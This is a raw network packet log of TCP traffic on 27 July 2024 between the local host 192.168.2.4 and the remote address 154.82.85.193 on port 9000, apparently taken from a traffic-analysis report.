Jul 27, 2024 16:57:45.566333055 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.566337109 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.566365004 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.566399097 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.566417933 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.566431999 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.566463947 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.566477060 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.566498041 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.566533089 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.566549063 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.566566944 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.566600084 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.566611052 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.566636086 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.566669941 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.566688061 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.566703081 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.566735983 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.566747904 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.566770077 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.566803932 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.566819906 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.566833019 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.566864967 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.566881895 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.566901922 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.566935062 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.566951990 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.566967964 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.567001104 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.567023993 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.567035913 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.567085981 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.586242914 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.586309910 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.586345911 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.586361885 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.586381912 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.586415052 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.586466074 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.586500883 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.586530924 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.586530924 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.586534977 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.586570024 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.586577892 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.586625099 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.586658955 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.586668968 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.586692095 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.586724997 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.586735010 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.586759090 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.586801052 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.586812973 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.586846113 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.586879015 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.586888075 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.586930037 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.586963892 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.586972952 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.586997986 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.587029934 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.587038994 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.587064028 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.587105036 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.587116003 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.587166071 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.587199926 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.587217093 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.587236881 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.587270021 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.587281942 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.587321997 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.587357044 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.587369919 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.587407112 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.587440968 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.587444067 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.587474108 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.587508917 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.587518930 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.587565899 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.587599039 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.587608099 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.587632895 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.587677002 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.587685108 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.587718010 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.587755919 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.587759018 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.587789059 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.587821960 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.587830067 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.587855101 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.587887049 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.587898970 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.587919950 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.587963104 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.587970018 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.588001966 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.588032961 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.588041067 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.588059902 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.588076115 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.588090897 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.588097095 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.588107109 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.588123083 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.588130951 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.588139057 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.588154078 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.588161945 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.588171959 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.588186026 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.588191032 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.588202000 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.588217974 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.588224888 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.588233948 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.588251114 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.588253021 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.588268042 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.588283062 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.588288069 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.588298082 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.588313103 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.588320017 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.588329077 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.588344097 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.588355064 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.588359118 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.588373899 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.588381052 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.588388920 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.588403940 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.588414907 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.588418961 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.588433027 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.588438988 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.588448048 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.588463068 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.588469982 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.588479042 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.588502884 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.588510990 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.588526964 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.588541985 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.588548899 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.588557959 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.588573933 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.588584900 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.588589907 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.588604927 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.588612080 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.588622093 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.588641882 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.635508060 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.658476114 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.658546925 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.658581972 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.658616066 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.658613920 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.658668995 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.658674955 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.658703089 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.658739090 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.658752918 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.658791065 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.658823967 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.658840895 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.658858061 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.658890963 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.658906937 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.658924103 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.658957005 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.658971071 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.658993959 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.659028053 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.659044027 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.659060955 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.659094095 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.659107924 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.659151077 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.659184933 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.659200907 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.659219027 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.659254074 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.659275055 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.659287930 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.659322023 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.659332991 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.659354925 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.659388065 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.659421921 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.659421921 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.659457922 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.659462929 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.679759979 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.679830074 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.679852009 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.679867029 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.679913998 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.679919004 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.679959059 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.680063009 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.680063963 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.680099964 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.680134058 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.680150032 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.680186987 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.680233955 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.680241108 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.680274963 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.680324078 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.680325031 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.680360079 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.680407047 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.680409908 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.680461884 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.680516005 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.680527925 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.680573940 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.680620909 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.680623055 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.680653095 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.680685043 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.680701017 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.680718899 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.680752039 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.680766106 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.680803061 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.680835009 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.680850983 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.680886984 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.680918932 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.680933952 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.680953026 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.681003094 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.681014061 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.681036949 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.681068897 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.681087017 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.681102991 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.681153059 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.681154966 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.681189060 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.681221008 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.681236029 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.681256056 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.681283951 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.681304932 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.681337118 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.681386948 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.681387901 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.681421041 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.681452990 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.681468964 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.681487083 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.681535006 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.681540966 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.681575060 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.681607962 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.681621075 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.681641102 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.681674004 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.681689024 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.681708097 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.681740999 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.681754112 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.681776047 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.681807995 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.681821108 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.681839943 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.681875944 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.681885958 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.681909084 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.681942940 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.681956053 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.681976080 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.682008982 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.682023048 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.682041883 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.682075024 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.682085991 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.682106972 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.682140112 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.682157040 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.682173014 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.682205915 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.682238102 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.682239056 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.682272911 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.682290077 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.682301998 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.682334900 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.682349920 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.682368040 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.682399988 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.682423115 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.682432890 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.682467937 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.682498932 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.682502031 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.682537079 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.682560921 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.682569981 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.682602882 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.682622910 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.682636976 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.682670116 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.682687998 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.682703018 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.682735920 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.682758093 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.682770014 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.682801962 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.682820082 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.682837009 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.682868958 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.682883978 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.682903051 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.682935953 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.682954073 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.682969093 CEST	9000	49731	154.82.85.193	192.168.2.4
